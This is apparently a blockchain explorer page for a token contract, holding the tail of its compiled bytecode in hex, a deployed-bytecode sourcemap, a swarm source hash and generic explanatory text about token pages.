fffffffffffffff16815260200190815260200160002054905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113145780820151818401526020810190506112f9565b60008484015250505050565b6000601f19601f8301169050919050565b600061133c826112da565b61134681856112e5565b93506113568185602086016112f6565b61135f81611320565b840191505092915050565b600060208201905081810360008301526113848184611331565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113bc82611391565b9050919050565b6113cc816113b1565b81146113d757600080fd5b50565b6000813590506113e9816113c3565b92915050565b6000819050919050565b611402816113ef565b811461140d57600080fd5b50565b60008135905061141f816113f9565b92915050565b6000806040838503121561143c5761143b61138c565b5b600061144a858286016113da565b925050602061145b85828601611410565b9150509250929050565b60008115159050919050565b61147a81611465565b82525050565b60006020820190506114956000830184611471565b92915050565b6000602082840312156114b1576114b061138c565b5b60006114bf848285016113da565b91505092915050565b6114d1816113ef565b82525050565b60006020820190506114ec60008301846114c8565b92915050565b60008060006060848603121561150b5761150a61138c565b5b6000611519868287016113da565b935050602061152a868287016113da565b925050604061153b86828701611410565b9150509250925092565b600060ff82169050919050565b61155b81611545565b82525050565b60006020820190506115766000830184611552565b92915050565b611585816113b1565b82525050565b60006020820190506115a0600083018461157c565b92915050565b6000602082840312156115bc576115bb61138c565b5b60006115ca84828501611410565b91505092915050565b600080604083850312156115ea576115e961138c565b5b60006115f8858286016113da565b9250506020611609858286016113da565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156116995780860481111561167557611674611613565b5b60018516156116845780820291505b808102905061169285611642565b9450611659565b94509492505050565b6000826116b2576001905061176e565b816116c0576000905061176e565b81600181146116d657600281146116e05761170f565b600191505061176e565b60ff8411156116f2576116f1611613565b5b8360020a91508482111561170957611708611613565b5b5061176e565b5060208310610133831016604e8410600b84101617156117445782820a90508381111561173f5761173e611613565b5b61176e565b611751848484600161164f565b9250905081840481111561176857611767611613565b5b81810290505b9392505050565b6000611780826113ef565b915061178b83611545565b92506117b87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846116a2565b905092915050565b60006117cb826113ef565b91506117d6836113ef565b92508282026117e4816113ef565b915082820484148315176117fb576117fa611613565b5b5092915050565b600061180d826113ef565b9150611818836113ef565b92508282039050818111156118305761182f611613565b5b92915050565b6000611841826113ef565b915061184c836113ef565b925082820190508082111561186457611863611613565b5b9291505056fea2646970667358221220f9794addf3084ebb58a19a1d5d17d6a39631af6a9f4ea17989005c1892882e1664736f6c63430008110033
Deployed Bytecode Sourcemap
2236:3262:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2856:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3727:123;;;:::i;:::-;;3494:214;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3978:133;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3133:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4238:724;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3042:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3228:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2045:178;;;:::i;:::-;;1958:79;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2947:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4975:512;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4121:108;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3866:102;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3343:135;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2856:83;2893:13;2926:5;;;;;;;;;;;;;;;;;2919:12;;2856:83;:::o;3727:123::-;3781:8;;;;;;;;;;;3767:22;;:10;:22;;;3764:85;;3822:3;:15;3826:10;3822:15;;;;;;;;;;;;;;;;3804:3;:15;3808:10;3804:15;;;;;;;;;;;;;;;:33;;;;3764:85;3727:123::o;3494:214::-;3560:12;3624:6;3589:11;:23;3601:10;3589:23;;;;;;;;;;;;;;;:32;3613:7;3589:32;;;;;;;;;;;;;;;:41;;;;3667:7;3646:37;;3655:10;3646:37;;;3676:6;3646:37;;;;;;:::i;:::-;;;;;;;;3701:4;3694:11;;3494:214;;;;:::o;3978:133::-;4042:8;;;;;;;;;;;4028:22;;:10;:22;;;4025:85;;4074:3;:7;4078:2;4074:7;;;;;;;;;;;;;;;;;;;;;;;;;4073:8;4065:17;;;;;;4103:4;4093:3;:7;4097:2;4093:7;;;;;;;;;;;;;;;;:14;;;;;;;;;;;;;;;;;;4025:85;3978:133;:::o;3133:87::-;3178:7;2557:1;2612:2;:13;;;;:::i;:::-;2600:9;:25;;;;:::i;:::-;3198:14;;3133:87;:::o;4238:724::-;4327:12;4366:8;;;;;;;;;;;4356:18;;:6;:18;;;4353:268;;4406:3;:11;4410:6;4406:11;;;;;;;;;;;;;;;;4396:6;:21;;4388:30;;;;;;4444:6;4429:3;:11;4433:6;4429:11;;;;;;;;;;;;;;;;:21;;;;;;;:::i;:::-;;;;;;;;4481:6;4463:3;:14;4467:9;4463:14;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;4536:6;4501:11;:19;4513:6;4501:19;;;;;;;;;;;;;;;:31;4521:10;4501:31;;;;;;;;;;;;;;;;:41;;;;;;;:::i;:::-;;;;;;;;4578:9;4558:38;;4568:8;;;;;;;;;;;4558:38;;;4589:6;4558:38;;;;;;:::i;:::-;;;;;;;;4614:4;4607:11;;;;4353:268;4641:3;:11;4645:6;4641:11;;;;;;;;;;;;;;;;;;;;;;;;;4640:12;:31;;;;;4657:3;:14;4661:9;4657:14;;;;;;;;;;;;;;;;;;;;;;;;;4656:15;4640:31;4637:324;;;4702:3;:11;4706:6;4702:11;;;;;;;;;;;;;;;;4692:6;:21;;4684:30;;;;;;4736:11;:19;4748:6;4736:19;;;;;;;;;;;;;;;:31;4756:10;4736:31;;;;;;;;;;;;;;;;4726:6;:41;;4718:50;;;;;;4794:6;4779:3;:11;4783:6;4779:11;;;;;;;;;;;;;;;;:21;;;;;;;:::i;:::-;;;;;;;;4829:6;4811:3;:14;4815:9;4811:14;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;4879:6;4844:11;:19;4856:6;4844:19;;;;;;;;;;;;;;;:31;4864:10;4844:31;;;;;;;;;;;;;;;;:41;;;;;;;:::i;:::-;;;;;;;;4918:9;4901:35;;4910:6;4901:35;;;4929:6;4901:35;;;;;;:::i;:::-;;;;;;;;4954:4;4947:11;;;;4637:324;4238:724;;;;;;:::o;3042:83::-;3083:5;2557:1;3101:16;;3042:83;:::o;3228:105::-;3286:7;3313:3;:12;3317:7;3313:12;;;;;;;;;;;;;;;;3306:19;;3228:105;;;:::o;2045:178::-;2122:6;;;;;;;;;;2108:20;;:10;:20;;;2100:29;;;;;;2182:1;2145:40;;2166:6;;;;;;;;;;2145:40;;;;;;;;;;;;2213:1;2196:6;;:19;;;;;;;;;;;;;;;;;;2045:178::o;1958:79::-;1996:7;2023:6;;;;;;;;;;;2016:13;;1958:79;:::o;2947:87::-;2986:13;3019:7;;;;;;;;;;;;;;;;;3012:14;;2947:87;:::o;4975:512::-;5063:8;;;;;;;;;;;5049:22;;:10;:22;;;5046:212;;5112:6;5093:3;:15;5097:10;5093:15;;;;;;;;;;;;;;;;:25;;5085:34;;;;;;5149:6;5130:3;:15;5134:10;5130:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;5186:6;5168:3;:14;5172:9;5168:14;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;5229:9;5209:38;;5219:8;;;;;;;;;;;5209:38;;;5240:6;5209:38;;;;;;:::i;:::-;;;;;;;;5046:212;5274:3;:15;5278:10;5274:15;;;;;;;;;;;;;;;;;;;;;;;;;5270:216;;5329:6;5310:3;:15;5314:10;5310:15;;;;;;;;;;;;;;;;:25;;5302:34;;;;;;5366:6;5347:3;:15;5351:10;5347:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;5403:6;5385:3;:14;5389:9;5385:14;;;;;;;;;;;;;;;;:24;;;;;;;:::i;:::-;;;;;;;;5456:9;5435:39;;5444:10;5435:39;;;5467:6;5435:39;;;;;;:::i;:::-;;;;;;;;5270:216;4975:512;;:::o;4121:108::-;4183:8;;;;;;;;;;;4169:22;;:10;:22;;;4166:62;;4224:2;4206:3;:15;4210:10;4206:15;;;;;;;;;;;;;;;:20;;;;4166:62;4121:108;:::o;3866:102::-;3927:8;;;;;;;;;;;3913:22;;:10;:22;;;3910:57;;3960:5;3950:3;:7;3954:2;3950:7;;;;;;;;;;;;;;;;:15;;;;;;;;;;;;;;;;;;3910:57;3866:102;:::o;3343:135::-;3416:7;3443:11;:18;3455:5;3443:18;;;;;;;;;;;;;;;:27;3462:7;3443:27;;;;;;;;;;;;;;;;3436:34;;3343:135;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:329::-;3505:6;3554:2;3542:9;3533:7;3529:23;3525:32;3522:119;;;3560:79;;:::i;:::-;3522:119;3680:1;3705:53;3750:7;3741:6;3730:9;3726:22;3705:53;:::i;:::-;3695:63;;3651:117;3446:329;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:329::-;5599:6;5648:2;5636:9;5627:7;5623:23;5619:32;5616:119;;;5654:79;;:::i;:::-;5616:119;5774:1;5799:53;5844:7;5835:6;5824:9;5820:22;5799:53;:::i;:::-;5789:63;;5745:117;5540:329;;;;:::o;5875:474::-;5943:6;5951;6000:2;5988:9;5979:7;5975:23;5971:32;5968:119;;;6006:79;;:::i;:::-;5968:119;6126:1;6151:53;6196:7;6187:6;6176:9;6172:22;6151:53;:::i;:::-;6141:63;;6097:117;6253:2;6279:53;6324:7;6315:6;6304:9;6300:22;6279:53;:::i;:::-;6269:63;;6224:118;5875:474;;;;;:::o;6355:180::-;6403:77;6400:1;6393:88;6500:4;6497:1;6490:15;6524:4;6521:1;6514:15;6541:102;6583:8;6630:5;6627:1;6623:13;6602:34;;6541:102;;;:::o;6649:848::-;6710:5;6717:4;6741:6;6732:15;;6765:5;6756:14;;6779:712;6800:1;6790:8;6787:15;6779:712;;;6895:4;6890:3;6886:14;6880:4;6877:24;6874:50;;;6904:18;;:::i;:::-;6874:50;6954:1;6944:8;6940:16;6937:451;;;7369:4;7362:5;7358:16;7349:25;;6937:451;7419:4;7413;7409:15;7401:23;;7449:32;7472:8;7449:32;:::i;:::-;7437:44;;6779:712;;;6649:848;;;;;;;:::o;7503:1073::-;7557:5;7748:8;7738:40;;7769:1;7760:10;;7771:5;;7738:40;7797:4;7787:36;;7814:1;7805:10;;7816:5;;7787:36;7883:4;7931:1;7926:27;;;;7967:1;7962:191;;;;7876:277;;7926:27;7944:1;7935:10;;7946:5;;;7962:191;8007:3;7997:8;7994:17;7991:43;;;8014:18;;:::i;:::-;7991:43;8063:8;8060:1;8056:16;8047:25;;8098:3;8091:5;8088:14;8085:40;;;8105:18;;:::i;:::-;8085:40;8138:5;;;7876:277;;8262:2;8252:8;8249:16;8243:3;8237:4;8234:13;8230:36;8212:2;8202:8;8199:16;8194:2;8188:4;8185:12;8181:35;8165:111;8162:246;;;8318:8;8312:4;8308:19;8299:28;;8353:3;8346:5;8343:14;8340:40;;;8360:18;;:::i;:::-;8340:40;8393:5;;8162:246;8433:42;8471:3;8461:8;8455:4;8452:1;8433:42;:::i;:::-;8418:57;;;;8507:4;8502:3;8498:14;8491:5;8488:25;8485:51;;;8516:18;;:::i;:::-;8485:51;8565:4;8558:5;8554:16;8545:25;;7503:1073;;;;;;:::o;8582:281::-;8640:5;8664:23;8682:4;8664:23;:::i;:::-;8656:31;;8708:25;8724:8;8708:25;:::i;:::-;8696:37;;8752:104;8789:66;8779:8;8773:4;8752:104;:::i;:::-;8743:113;;8582:281;;;;:::o;8869:410::-;8909:7;8932:20;8950:1;8932:20;:::i;:::-;8927:25;;8966:20;8984:1;8966:20;:::i;:::-;8961:25;;9021:1;9018;9014:9;9043:30;9061:11;9043:30;:::i;:::-;9032:41;;9222:1;9213:7;9209:15;9206:1;9203:22;9183:1;9176:9;9156:83;9133:139;;9252:18;;:::i;:::-;9133:139;8917:362;8869:410;;;;:::o;9285:194::-;9325:4;9345:20;9363:1;9345:20;:::i;:::-;9340:25;;9379:20;9397:1;9379:20;:::i;:::-;9374:25;;9423:1;9420;9416:9;9408:17;;9447:1;9441:4;9438:11;9435:37;;;9452:18;;:::i;:::-;9435:37;9285:194;;;;:::o;9485:191::-;9525:3;9544:20;9562:1;9544:20;:::i;:::-;9539:25;;9578:20;9596:1;9578:20;:::i;:::-;9573:25;;9621:1;9618;9614:9;9607:16;;9642:3;9639:1;9636:10;9633:36;;;9649:18;;:::i;:::-;9633:36;9485:191;;;;:::o
Swarm Source
ipfs://f9794addf3084ebb58a19a1d5d17d6a39631af6a9f4ea17989005c1892882e16
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.